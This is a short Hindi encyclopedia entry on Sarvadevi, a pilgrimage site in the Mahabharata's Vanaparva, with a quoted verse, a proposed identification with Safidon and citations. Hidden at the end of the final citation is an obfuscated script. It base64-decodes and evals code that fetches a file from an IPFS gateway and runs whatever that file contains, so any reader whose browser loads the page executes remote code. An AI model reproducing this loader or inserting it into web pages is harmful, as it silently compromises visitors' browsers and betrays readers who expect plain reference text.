सर्वदेवी
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सर्वदेवी नामक एक तीर्थ[1] का उल्लेख महाभारत, वनपर्व[2] में हुआ है-
'सर्वदेवी समासाद्य नागानां तीर्थमुत्तमम्। अग्निष्टोमपवाप्नोति नागलोकं च विन्दति। ततोगच्छेत् धर्मज्ञ द्वारपालं तरन्तुकम्।'
- वासुदेव शरण अग्रवाल के मत में यह वर्तमान 'सफीदों'[3] है।
- 'द्वारपाल' शब्द संभवतः खैबर दर्रे के लिए प्रयुक्त हुआ है।
- द्वारपाल का उल्लेख महाभारत, सभापर्व[4] में भी पश्चिमोत्तर में स्थित प्रदेशों के साथ है।
- सफीदों सर्वदेवी का ही फ़ारसी रूपांतरण प्रतीत होता है।[5]
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टीका टिप्पणी और संदर्भ
- ↑ पाठांतर 'सर्पदेवी'
- ↑ वनपर्व 83, 14 15
- ↑ पश्चिमी पाकिस्तान
- ↑ सभापर्व 32, 12
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 943 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>